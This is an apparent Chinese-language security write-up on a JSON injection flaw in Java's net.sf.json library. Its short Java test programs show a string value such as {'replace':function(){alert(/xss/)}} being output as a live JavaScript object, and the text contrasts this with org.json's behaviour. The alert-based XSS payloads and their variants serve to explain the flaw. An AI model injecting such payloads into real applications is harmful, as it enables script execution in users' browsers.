import net . sf . json . JSONObject ;
public class Test {
public static void main ( String [] args ) {
JSONObject json = new JSONObject ();
json . put (“ key ”, “{‘ replace ’: function (){ alert (/ xss /)}}”);
System . out . println ( json );
System . out . println ((( JSONObject ) json . get (“ key ”)). get (“ replace ”));
}
}
org . json 代码片段:
import org . json . JSONException ;
import org . json . JSONObject ;
public class Test {
public static void main ( String [] args ) throws JSONException {
JSONObject json = new JSONObject ();
json . put (“ key ”, “{‘ replace ’: function (){ alert (/ xss /)}}”);
System . out . println ( json );
System . out . println ((( JSONObject ) json . get (“ key ”)). get (“ replace ”));
}
}
JSONObject json = null ; json = new JSONObject (); json . put ( "code" , 200 ); json . put ( "info" , "tester" ); json . put ( "msg" , "success" ); System . out . println ( json ); // 输出:{"code":200,"info":"tester","msg":"success"}
在这里info是一个String,所以,很多前端工程师可能会选择使用Stirng.replace方法转义or过滤特殊字符。
如果在info中注入{‘replace’:function(){alert(/xss/)}}呢?
json = new JSONObject (); json . put ( "code" , 200 ); json . put ( "info" , "{'replace':function(){alert(/xss/)}}" ); json . put ( "msg" , "success" ); System . out . println ( json ); // 输出:{"code":200,"info":{"replace":function(){ alert(/xss/) }},"msg":"success"}
JSONObject在输出json串时,info会作为对象输出,并且其中嵌入replace方法,js在使用replace方法转义过滤时,也就调用了嵌入的replace方法。
可以根据不同的场景把info构造成不同的对象,也可以构造成数组[function(){alert(/xss/)}] 或者 简单的函数 function(){alert(/xss/)}
net.sf.json代码片段:
使用net.sf.json输出结果是:
{"key":{"replace":function(){ alert(/xss/) }}}
function(){ alert(/xss/) }[/code]
这里net.sf.json的value实际是一个JSONObject对象,所以还可以调用注入value中JSONObject对象,这是net.sf.json正常的嵌套功能,但是它不符合js json的标准
使用org.json输出结果是:
[code]
{"key":"{'replace':function(){alert(/xss/)}}"}
Exception in thread "main" java.lang.ClassCastException: java.lang.String cannot be cast to org.json.JSONObject
at Test.main(Test.java:20)
org.json是符合js json标准的,它的value就是个String,cast成JSONObject就报异常了.
其实就是个net.sf.json的json与js json输出标准不一样造成的,从而可以控制输出端的内容,通过构造在前端做某些js函数操作时,其内容会被当成js语句块执行,就是上面的xss了
那为什么不用org.json,要用net.sf.json了?因为net.sf.json更为强大(比如:多层嵌套(类似迭代器),javabean转换等)